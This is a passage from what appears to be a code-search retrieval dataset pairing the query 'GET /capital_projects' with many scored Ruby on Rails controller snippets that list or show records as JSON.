"text": "def show\n @lei = Lei.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lei }\n end\n end",
"title": ""
},
{
"docid": "585064cf89fc750e5929d1bddaa3487a",
"score": "0.5755712",
"text": "def show\n @ano = Ano.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ano }\n end\n end",
"title": ""
},
{
"docid": "640cb30b2d026be1b0cfd5951100a35a",
"score": "0.57555884",
"text": "def index\n @programas = Programa.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @programas }\n end\n end",
"title": ""
},
{
"docid": "1871acb6a369ff638af86cdf5408d440",
"score": "0.5752147",
"text": "def index\n @proteins = Protein.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @proteins }\n end\n end",
"title": ""
},
{
"docid": "1cd5dfafdbefd1dfa40eaa4853204598",
"score": "0.5742028",
"text": "def show\n @respuesta = Respuesta.find(params[:id])\n\n render json: @respuesta\n end",
"title": ""
},
{
"docid": "b3dbcca59c4ccdf5d2b23cb1fc5dbde5",
"score": "0.5741376",
"text": "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @personas }\n end\n end",
"title": ""
},
{
"docid": "44e99fe87e134f8dffe76e7464ccb828",
"score": "0.5741222",
"text": "def show\n @persona = Persona.find(params[:id])\n @users = User.all\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @persona }\n end\n end",
"title": ""
},
{
"docid": "a12002769c71ec1d82b80d1cc432f948",
"score": "0.57411003",
"text": "def show\n @turma = Turma.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @turma }\n end\n end",
"title": ""
},
{
"docid": "5ea310708748cff1c27656f142421abb",
"score": "0.5740029",
"text": "def show\n @publicidad = Publicidad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @publicidad }\n end\n end",
"title": ""
},
{
"docid": "4bf3635466cdb66946d2bd348b371b39",
"score": "0.57397866",
"text": "def show\n \n respond_to do |format|\n format.html\n #format.json {render json: @jiras}\n\n end\n end",
"title": ""
},
{
"docid": "43fa991991d29ee06e3a2834d153b04b",
"score": "0.57379544",
"text": "def show\n @imp_raman = ImpRaman.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @imp_raman }\n end\n end",
"title": ""
},
{
"docid": "8d407309d261aba445520b4e0d0b9d6c",
"score": "0.5736879",
"text": "def index\n @ruas = Rua.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ruas }\n end\n end",
"title": ""
},
{
"docid": "a5342b4374ff088038d7053a0908fd13",
"score": "0.57351255",
"text": "def show\n @tipomedalla = Tipomedalla.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipomedalla }\n end\n end",
"title": ""
},
{
"docid": "97d9fe4cefff212fd2ec9c1c77b15a81",
"score": "0.5729119",
"text": "def show\n @motivobaja = MotivoBaja.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @motivobaja }\n end\n end",
"title": ""
},
{
"docid": "c45b6c7b421541464e811df5b4440985",
"score": "0.5728623",
"text": "def show\n render json: Alien.find(params[\"id\"])\n end",
"title": ""
},
{
"docid": "39519da370dbbb79be7df588d59b909f",
"score": "0.5723353",
"text": "def index\n @premios = Premio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @premios }\n end\n end",
"title": ""
},
{
"docid": "3c423b90c5d7f4cfd61377a73e579d7d",
"score": "0.57181674",
"text": "def show\n @antler = Antler.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: AntlerPresenter.new(@antler) }\n end\n end",
"title": ""
},
{
"docid": "a2d26786e046419fef4f42acd6d56bfa",
"score": "0.5717792",
"text": "def show\n @kalplan_tltle = KalplanTltle.find(params[:id])\n \n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @kalplan_tltle }\n end\n end",
"title": ""
},
{
"docid": "cce405005cdc03c4c27a00712005f747",
"score": "0.57169694",
"text": "def show\n @pony = Pony.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pony }\n end\n end",
"title": ""
},
{
"docid": "c9cde4c48990683fb95c4890f7420956",
"score": "0.5715368",
"text": "def show\n @chaine = Chaine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @chaine }\n end\n end",
"title": ""
},
{
"docid": "65957ac265846be0a2b0c2de3bfc3a51",
"score": "0.5714984",
"text": "def show\n @tecnico = Tecnico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tecnico }\n end\n end",
"title": ""
},
{
"docid": "65957ac265846be0a2b0c2de3bfc3a51",
"score": "0.5714984",
"text": "def show\n @tecnico = Tecnico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tecnico }\n end\n end",
"title": ""
},
{
"docid": "fcf4e3da2eb497ffd41c75175fa37543",
"score": "0.5710432",
"text": "def show\n render json: @parish\n end",
"title": ""
},
{
"docid": "efea37140101666ee7f267cffefa1355",
"score": "0.57062733",
"text": "def show\n @perfilnegocio = Perfilnegocio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @perfilnegocio }\n end\n end",
"title": ""
},
{
"docid": "36ba493914629f2a95ba361719e37052",
"score": "0.5700434",
"text": "def show\n @ramal = Ramal.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ramal }\n end\n end",
"title": ""
},
{
"docid": "31a19d74e2c22e3bd8d93ab01973c160",
"score": "0.56995344",
"text": "def show\n @anrede = Anrede.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @anrede }\n end\n end",
"title": ""
},
{
"docid": "2eef10297890d47f6dde45250f325f99",
"score": "0.56990653",
"text": "def show\n @servicio = Servicio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @servicio }\n end\n end",
"title": ""
},
{
"docid": "77edc59a6cd7d2919f8b9658fb3b1620",
"score": "0.56990033",
"text": "def show\n @tecnico = Tecnico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @tecnico }\n end\n end",
"title": ""
},
{
"docid": "cbb7bc5869cbd7ebb5eb2da1528ee01a",
"score": "0.56968844",
"text": "def show\n @ref_sanatorium = Ref::Sanatorium.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ref_sanatorium }\n end\n end",
"title": ""
},
{
"docid": "5060329b4700339175035e4945bd3bd3",
"score": "0.56947297",
"text": "def show\n @planificacion_semanal = PlanificacionSemanal.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @planificacion_semanal }\n end\n end",
"title": ""
}
] |
abf2780d24de8ba9bd7de78882030975 | GET /capital_projects GET /capital_projects.json | [
{
"docid": "6f8a81019010c5d12ea107d9cd336fcb",
"score": "0.0",
"text": "def index\n weather_details\n @capital_project = CapitalProject.new\n @capital_projects = CapitalProject.all.order(id: :asc).paginate(page: params[:page],per_page: 15).includes(:departmental_sdbip,:mscore_classification,subdepartment: [:department])\n end",
"title": ""
}
] | [
{
"docid": "dc8505687156cb859adc07f1e0435407",
"score": "0.79475397",
"text": "def projects\n return get(\"/projects/list\")\n end",
"title": ""
},
{
"docid": "e5cff083faf736771900db26645e7ffe",
"score": "0.7786552",
"text": "def get_projects\n self.class.get(\"/projects.json\")\n end",
"title": ""
},
{
"docid": "d0b43a945df8ac3143faff08578a6c1d",
"score": "0.7709487",
"text": "def projects\n get_request 'projects'\n end",
"title": ""
},
{
"docid": "853333d135e01193f216baf64566acf2",
"score": "0.7605304",
"text": "def projects\n request(\"/projects\").projects\n end",
"title": ""
},
{
"docid": "a380acb61eb74c4c7488b698727350a5",
"score": "0.7566373",
"text": "def get_projects\n @projects = Project.where(:client_id => params[:id])\n render :json => @projects, :nothing => true\n end",
"title": ""
},
{
"docid": "80cd221cebf874cf2261e75652e5205f",
"score": "0.7534534",
"text": "def projects(query={})\n get('/projects', query)\n end",
"title": ""
},
{
"docid": "5ab304f7931e8f3bdcbeb45ed978140b",
"score": "0.7496459",
"text": "def index\n @client = current_client\n @projects = @client.projects\n @actual_projects = @projects.actual\n @offered_projects = @projects.offered\n @completed_projects = @projects.completed\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"title": ""
},
{
"docid": "bab4e5c3d0fbbbb8103433e7b8671be3",
"score": "0.7439848",
"text": "def projects\n execute(:get, 'projects')\n end",
"title": ""
},
{
"docid": "282303f3170fa38d46f6765afa1753a9",
"score": "0.73567826",
"text": "def projects(query={})\n perform_get(\"/api/1/projects\", :query => query)\n end",
"title": ""
},
{
"docid": "4f5630e29821bef6d57cb56e656012a4",
"score": "0.7329658",
"text": "def index\n @projects = Project.all\n render json: @projects\n end",
"title": ""
},
{
"docid": "423037e939fecc75fd5b24d7e29a81a0",
"score": "0.7316536",
"text": "def index\n @projects = Project.all\n\n render json: @projects\n end",
"title": ""
},
{
"docid": "4a23323b482bb1d376c7eebacc47a087",
"score": "0.7304057",
"text": "def list\n get('projects')['projects']\n end",
"title": ""
},
{
"docid": "8a281112e559422d3053f7737a0b52bc",
"score": "0.73028564",
"text": "def getProjects\n \tif params[:status_id] \n\t\t\t@projects = Project.where(:status_id => params[:status_id])\n\t\telse\n \t\t@projects = Project.all\n \tend\n \trender :json => @projects, include: ['user', 'client', 'assigned'] \n end",
"title": ""
},
{
"docid": "501b703f1b3e5a8241ac8aa4dfda89d7",
"score": "0.725819",
"text": "def projects\n ret = RestClient.get \"#{@url}/projects\", \n { Authorization: \"Basic #{auth_string}\"}\n json = JSON.parse(ret.body)\n\n json['values']\n end",
"title": ""
},
{
"docid": "e9ba6df30b08b4bc08a2430aa42831db",
"score": "0.72254217",
"text": "def index\n @projects = Project.all\n render json: @projects\n end",
"title": ""
},
{
"docid": "ecaeaa6c2fee59acecf6c0c8fa66520a",
"score": "0.72034967",
"text": "def index\n projects = current_user.projects.all\n render json: { projects: projects }\n end",
"title": ""
},
{
"docid": "2cedb65d21bc0c03383f9749f8cf09c0",
"score": "0.7197431",
"text": "def projects\n render json: @current_user.projects_list\n end",
"title": ""
},
{
"docid": "a5daad967e6e41ec5780aa8b81a22dd0",
"score": "0.7197023",
"text": "def index\n @root = \"projects\"\n \n @roles = Role.all\n @projects = Project.all\n @path = projects_path\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"title": ""
},
{
"docid": "23d810faf3c33e4633f5fb292e070517",
"score": "0.719475",
"text": "def index\n @project = Project.new\n @projects = current_user.company.projects\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"title": ""
},
{
"docid": "88269cd1b27ded53e4ed4cc030db0548",
"score": "0.7190034",
"text": "def index\n @projects = Project.roots\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"title": ""
},
{
"docid": "b2a525db1b49d086a4547b1cfbdf0b60",
"score": "0.71644425",
"text": "def projects\n\t\trender json: Timesheet.projects(timesheet_user), each_serializer: ProjectSimpleSerializer\n\tend",
"title": ""
},
{
"docid": "dfda27747394b2bf6d76ca669d0843f4",
"score": "0.71380746",
"text": "def projects ; get_projects ; end",
"title": ""
},
{
"docid": "224d34e29ac266471b7ef3d13ad053e7",
"score": "0.7134647",
"text": "def get_projects\n projects = []\n res = send_authenticated_request_and_parse('/httpAuth/app/rest/projects')\n if !res.nil? and res.key?(\"project\")\n res['project'].each do |project|\n if project['id'] == '_Root'\n next\n end\n projects << project['id'].downcase\n end\n end\n projects\n end",
"title": ""
},
{
"docid": "6bd2125c523abd6e7ddfedfb77978e94",
"score": "0.7102525",
"text": "def index\n @projects = @current_user.projects\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @projects }\n end\n end",
"title": ""
},
{
"docid": "951158bcd1e7fdbcff93b273c7223d10",
"score": "0.70898974",
"text": "def projects\n uri = URI.parse(build_url \"projects\")\n\n fetch uri\n end",
"title": ""
},
{
"docid": "2e5417264e1a587c5586be4c8bba5a2d",
"score": "0.7078496",
"text": "def index\n @projects = current_user.projects\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"title": ""
},
{
"docid": "2e5417264e1a587c5586be4c8bba5a2d",
"score": "0.7078496",
"text": "def index\n @projects = current_user.projects\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"title": ""
},
{
"docid": "dfbe4e6b5bd888dea7a9d84a7337b488",
"score": "0.7069382",
"text": "def projects optional_params = {}\n request('projects', optional_params)['projects']\n end",
"title": ""
},
{
"docid": "5c8f52dacd1afdd9fc9e9017fcb77fec",
"score": "0.705508",
"text": "def index\n @projects = Project.all\n\n respond_to do |format|\n format.html {}\n format.json { render json: @projects }\n end\n # render json: @projects\n end",
"title": ""
},
{
"docid": "6e1ca3a9e609427c72f7a9248c9e43a3",
"score": "0.70481485",
"text": "def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"title": ""
},
{
"docid": "6e1ca3a9e609427c72f7a9248c9e43a3",
"score": "0.70481485",
"text": "def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"title": ""
},
{
"docid": "6e1ca3a9e609427c72f7a9248c9e43a3",
"score": "0.70481485",
"text": "def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"title": ""
},
{
"docid": "6e1ca3a9e609427c72f7a9248c9e43a3",
"score": "0.70481485",
"text": "def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"title": ""
},
{
"docid": "6e1ca3a9e609427c72f7a9248c9e43a3",
"score": "0.70481485",
"text": "def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"title": ""
},
{
"docid": "6e1ca3a9e609427c72f7a9248c9e43a3",
"score": "0.70481485",
"text": "def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"title": ""
},
{
"docid": "6e1ca3a9e609427c72f7a9248c9e43a3",
"score": "0.70481485",
"text": "def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"title": ""
},
{
"docid": "6e1ca3a9e609427c72f7a9248c9e43a3",
"score": "0.70481485",
"text": "def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"title": ""
},
{
"docid": "6e1ca3a9e609427c72f7a9248c9e43a3",
"score": "0.70481485",
"text": "def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"title": ""
},
{
"docid": "6e1ca3a9e609427c72f7a9248c9e43a3",
"score": "0.70481485",
"text": "def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"title": ""
},
{
"docid": "6e1ca3a9e609427c72f7a9248c9e43a3",
"score": "0.70481485",
"text": "def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"title": ""
},
{
"docid": "6e1ca3a9e609427c72f7a9248c9e43a3",
"score": "0.70468074",
"text": "def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"title": ""
},
{
"docid": "f94aa93fff8cf3d0516bdc572c661cf0",
"score": "0.70225483",
"text": "def index\n @projects = Project.scoped\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: Project.published.to_json(only: [:code, :name]) }\n end\n end",
"title": ""
},
{
"docid": "0e4c591ec71651ef7abd33c707332851",
"score": "0.7021176",
"text": "def index\n @project_resources = ProjectResource.all\n render json: @project_resources, status: :ok\n end",
"title": ""
},
{
"docid": "fbce83c24fc5e2eef37e2f502a8c8a1d",
"score": "0.7016345",
"text": "def show\n begin\n account = current_user.accounts.find(params[:id]) #required as a part of the route\n if (account)\n account.fetch_projects\n account.reload\n json = account.as_json\n json[\"projects\"] = account.projects\n render json: { account: json }, status: :ok\n end\n rescue ActiveRecord::RecordNotFound\n render json: { error: I18n.t('request.forbidden') }, status: :forbidden\n end\n end",
"title": ""
},
{
"docid": "0c9324ac3c7b0ee8bd0b533050a85653",
"score": "0.7010463",
"text": "def index\n @projects = current_user.projects\n authorize! :read, Project\n respond_to do |format|\n format.html\n format.json { render json: @projects.as_json, status: :ok }\n end\n end",
"title": ""
},
{
"docid": "bc8c7b1787dadfe4d9b8231b2b779cd0",
"score": "0.70060635",
"text": "def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @projects }\n end\n end",
"title": ""
},
{
"docid": "c334db0e40f755ebee55a4c7b169ccd6",
"score": "0.7004936",
"text": "def index\n load_projects\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"title": ""
},
{
"docid": "8183dd2bce9fbb8e679f8602fd280724",
"score": "0.69895864",
"text": "def index\n # @projects = project.all\n @projects = @department.projects\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"title": ""
},
{
"docid": "d3d7ba04690738fbdadaac1ef2a5a5e5",
"score": "0.69827026",
"text": "def index\n @projects = Project.where(:user_id => session[:user_id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"title": ""
},
{
"docid": "16851c84f0487f76d9b710941a1910a6",
"score": "0.6971651",
"text": "def get_projects\n request('project', 'list', nil, resource[:auth]).collect do |project|\n project[:name]\n end\n end",
"title": ""
},
{
"docid": "16851c84f0487f76d9b710941a1910a6",
"score": "0.6971651",
"text": "def get_projects\n request('project', 'list', nil, resource[:auth]).collect do |project|\n project[:name]\n end\n end",
"title": ""
},
{
"docid": "7ca95226ed557703083cafb547fbe59c",
"score": "0.6969974",
"text": "def index\n @projects = Project.all\n \n @projects_json = []\n @projects.each do |p|\n @projects_json.push(p.to_json)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects_json }\n end\n end",
"title": ""
},
{
"docid": "132b05510fb4b0e45c09fe3cfdd5f136",
"score": "0.69530165",
"text": "def index\n @projects_json = self.class.get('/project?fields=name')\n @projects_hash = JSON.parse(@projects_json.body)\n @projects_names = []\n @projects_hash.each do |project|\n @projects_names << project['name']\n end\n @projects_names\n end",
"title": ""
},
{
"docid": "70feb1554ff3c792c4c296cacc17574a",
"score": "0.69266295",
"text": "def projects\n @projects ||= api.get('/projects.json').collect { |hash|\n Ketchup::Project.new(api, hash)\n }\n end",
"title": ""
},
{
"docid": "056a9e8dc02b675786143e67e6ac060d",
"score": "0.6907426",
"text": "def projects(params={})\n resource = endpoint_for(:projects)\n request_with_auth(resource)\n end",
"title": ""
},
{
"docid": "929cef3b88c052ca80ecb77a2be15b20",
"score": "0.68790394",
"text": "def show\n json_response(@degree_projects)\n end",
"title": ""
},
{
"docid": "42f1aa71728764865d783f298c28a5a0",
"score": "0.68785375",
"text": "def get_projects\n @projects = current_user.projects\n projects = []\n @projects.each do |project|\n projects << {\n :id => project.id,\n :title => project.acc,\n :description => project.description,\n :start => project.start_date,\n :end => project.dead_line,\n :color => case project.status\n when 'running'\n 'red'\n when 'complete'\n 'green'\n end\n }\n end\n render :text => projects.to_json\n end",
"title": ""
},
{
"docid": "06da17604ef891dcb5d0ddf732a11f9f",
"score": "0.6861188",
"text": "def index\n @projects = Project.all\n flash[:notice] = \"Browse all our investments here. Click thru to their profile page to view detailed project information, and to make a loan.\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"title": ""
},
{
"docid": "6960ee5cb5e2593d797b48827f0bc915",
"score": "0.6856718",
"text": "def projects_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ProductsApi.projects_get ...'\n end\n # resource path\n local_var_path = '/projects'\n\n # query parameters\n query_params = {}\n query_params[:'name'] = opts[:'name'] if !opts[:'name'].nil?\n query_params[:'public'] = opts[:'public'] if !opts[:'public'].nil?\n query_params[:'owner'] = opts[:'owner'] if !opts[:'owner'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'page_size'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/plain'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['basicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<Project>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ProductsApi#projects_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "ae61f8106a086e0275ba2fb40aae031c",
"score": "0.6823883",
"text": "def show\n @project = Project.find(params[:id])\n render json: @project\n end",
"title": ""
},
{
"docid": "ae61f8106a086e0275ba2fb40aae031c",
"score": "0.6823883",
"text": "def show\n @project = Project.find(params[:id])\n render json: @project\n end",
"title": ""
},
{
"docid": "188ede7d53df0d8d2a37ab2d2e6bc92a",
"score": "0.6823334",
"text": "def show\n render json: @project\n end",
"title": ""
},
{
"docid": "33674df489259280cedb0dfe43225b16",
"score": "0.6819836",
"text": "def list\n projects = []\n current_user.accounts.each { |account|\n account.fetch_projects\n account.reload\n projects.concat account.projects\n }\n render json: { projects: projects }, status: :ok\n end",
"title": ""
},
{
"docid": "4a454f57d2fc22894901471feb24af9e",
"score": "0.68104017",
"text": "def all_projects\n resp = @conn.get 'projects.json'\n resp.body\n end",
"title": ""
},
{
"docid": "e5dd27be8553ad1938104f16e39fe76e",
"score": "0.68081146",
"text": "def team_projects(team_slug)\n get(\"/teams/#{@default_org_slug}/#{team_slug}/projects/\")\n end",
"title": ""
},
{
"docid": "64bb4390d135316df7d3cb122ba19f5d",
"score": "0.6803695",
"text": "def show\n @project = Project.find(params[:id])\n\n render json: @project\n end",
"title": ""
},
{
"docid": "72111bd5022f67789789d6bdda903da4",
"score": "0.67968506",
"text": "def project(project, options = {})\n get \"projects/#{project}\", options\n end",
"title": ""
},
{
"docid": "212be722bb21ccc7d4f409acfe39fad3",
"score": "0.67958176",
"text": "def index\n @projects = Project.all\n\n respond_with @project\n end",
"title": ""
},
{
"docid": "483657777b0007fd93d784acb0fc6dc3",
"score": "0.6792421",
"text": "def show\n @code_project = CodeProject.find_by(id: params[:id])\n json_response(@code_project)\n end",
"title": ""
},
{
"docid": "fcdda66f50db5c37431380d3e078559f",
"score": "0.67890346",
"text": "def index\n @projects = Project.all\n render json: @projects, include: [:tasks, {collaborators: {include: [:user]}}]\n end",
"title": ""
},
{
"docid": "ae2a5b59137ba2dd7cc819558addbc83",
"score": "0.67824966",
"text": "def index\n @projects = Project.find(:all, :conditions => { :user_id => current_user.id} )\n \n\trespond_to do |format|\n\t format.html # index.html.erb\n\t format.json { render :json => @projects }\n\tend\n end",
"title": ""
},
{
"docid": "99e1cf55b13ebd5ed6ed420c2b064788",
"score": "0.6772915",
"text": "def projects\n @projects ||= Harvest::API::Projects.new(credentials)\n end",
"title": ""
},
{
"docid": "13a81a8cc7bacabb334b26eeaf83b07c",
"score": "0.6766763",
"text": "def projects_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: TtsApi.projects ...\"\n end\n # resource path\n local_var_path = \"/projects\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['api_key']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ProjectsCollection')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: TtsApi#projects\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "69166a276345d8b20fef95d0525e229a",
"score": "0.67565763",
"text": "def projects\n @projects = Project.all\n end",
"title": ""
},
{
"docid": "1c6b81d1854536fd101e92dbb0e9c4bc",
"score": "0.6749191",
"text": "def index\n if current_user.admin?\n @projects= Project.all\n render json: @projects\n else\n \t@projects= Project.where(\"user_id = ?\", current_user)\n \trender json: @projects\n end\n end",
"title": ""
},
{
"docid": "41f5fd2664560eb718495b3e0efdb0d5",
"score": "0.6748491",
"text": "def show\n render json: @project\n end",
"title": ""
},
{
"docid": "a39760f3142f74ae391703121111298c",
"score": "0.67365086",
"text": "def index\n render json: current_user.projects.ordered\n end",
"title": ""
},
{
"docid": "40aa789963139227a6e46db59b694b16",
"score": "0.6733602",
"text": "def show\n @project = Project.find(params[:id])\n @projects = @project.children\n respond_to do |format|\n if @projects.empty?\n # Requesting a project that has no sub projects gives its info.\n format.html # show.html.erb\n format.json { render json: @project }\n else \n # Requesting a project that has sub projects gives a list of all of its sub projects. \n format.html { render \"index\" } # index.html.erb\n format.json { render json: @projects }\n end\n end\n end",
"title": ""
},
{
"docid": "ee036b99280361654f537ee7ba0950ff",
"score": "0.67291456",
"text": "def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @project }\n end\n end",
"title": ""
},
{
"docid": "a5c28e2268a42e0d9d3ea08ef15eb4f1",
"score": "0.6715483",
"text": "def project(id)\n get(\"/projects/#{id}\")\n end",
"title": ""
},
{
"docid": "8085e3bd29549bec962e860c3281443f",
"score": "0.670644",
"text": "def projects_list(page, per_page)\n path = sprintf(\"/api/v2/projects\")\n data_hash = {}\n post_body = nil\n \n reqHelper = PhraseApp::ParamsHelpers::BodyTypeHelper.new(data_hash, post_body)\n rc, err = PhraseApp.send_request_paginated(@credentials, \"GET\", path, reqHelper.ctype, reqHelper.body, 200, page, per_page)\n if err != nil\n return nil, err\n end\n \n return JSON.load(rc.body).map { |item| PhraseApp::ResponseObjects::Project.new(item) }, err\n end",
"title": ""
},
{
"docid": "3c6d0de4d5260131f83ecf804f2d53d9",
"score": "0.6702589",
"text": "def index\n @plans = @project.plans\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @plans }\n end\n end",
"title": ""
},
{
"docid": "610e1f6b472b962c49958e4c40e50bd6",
"score": "0.6690231",
"text": "def index\r\n @projects = Project.from_client(current_user.client_id)\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.xml { render :xml => @projects }\r\n end\r\n end",
"title": ""
},
{
"docid": "641693953d63cf780ddf65224b4a0486",
"score": "0.6683007",
"text": "def show\n @initial_project = InitialProject.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @initial_project }\n end\n end",
"title": ""
},
{
"docid": "f56d9f34d50b991517e9a9e0d86646bc",
"score": "0.6679233",
"text": "def show\n project = Project.find_by_id(params[:id])\n if project\n external_project_link = ExternalProjectLink.where(project_id: project.id).first\n if external_project_link\n account = authorized_account_for_project project\n if account\n account.fetch_members project\n account.fetch_iterations project\n project.reload\n json = project.as_json\n json[\"team_members\"] = project.team_members.as_json(project_id: project.id)\n json[\"iterations\"] = project.iterations\n render json: { project: json }, status: :ok\n else\n render json: {error: I18n.t('request.forbidden') }, status: :forbidden\n end\n else \n # It is not an external project...therefore it cannot exist...arrghhhh!!!\n render json: {error: I18n.t('request.not_found') }, status: :not_found\n end\n else\n render json: {error: I18n.t('request.not_found') }, status: :not_found\n end\n end",
"title": ""
},
{
"docid": "fe6cc375b6d63c5058d9710547aecdc6",
"score": "0.6674961",
"text": "def getAllProjects()\n\tlistOfProjects = {}\n\tprojects = $client.Project.all\n\ti = 0\n\tprojects.each do |project|\n\t\t#puts \"Project Name: #{project.name}\"\n\t\tlistOfProjects[\"#{i}\"] = project.name\n\t\ti += 1\n\tend\n\treturn listOfProjects\nend",
"title": ""
},
{
"docid": "09f8ed3aed897cd86669c8df9de26dc0",
"score": "0.66731554",
"text": "def project_names\n @projects = current_user.projects\n\n render json: @projects.map { |project| { id: project.id, name: project.name, slug: project.slug } }, status: 200\n end",
"title": ""
},
{
"docid": "1d9f6c580bbe7eea70cf6c57071f2f94",
"score": "0.6665",
"text": "def index\n respond_with(projects)\n end",
"title": ""
},
{
"docid": "876ccf4f0a412faf9e49731d329f1a27",
"score": "0.6661974",
"text": "def details\n get(\"/project/details\")[\"project\"]\n end",
"title": ""
},
{
"docid": "a81e991e448f9d2a656eb009be5fde75",
"score": "0.6655088",
"text": "def index\n @projects = Project.all\n respond_with(@projects)\n end",
"title": ""
},
{
"docid": "702eab61932f3939240be27ed591b7f5",
"score": "0.6652344",
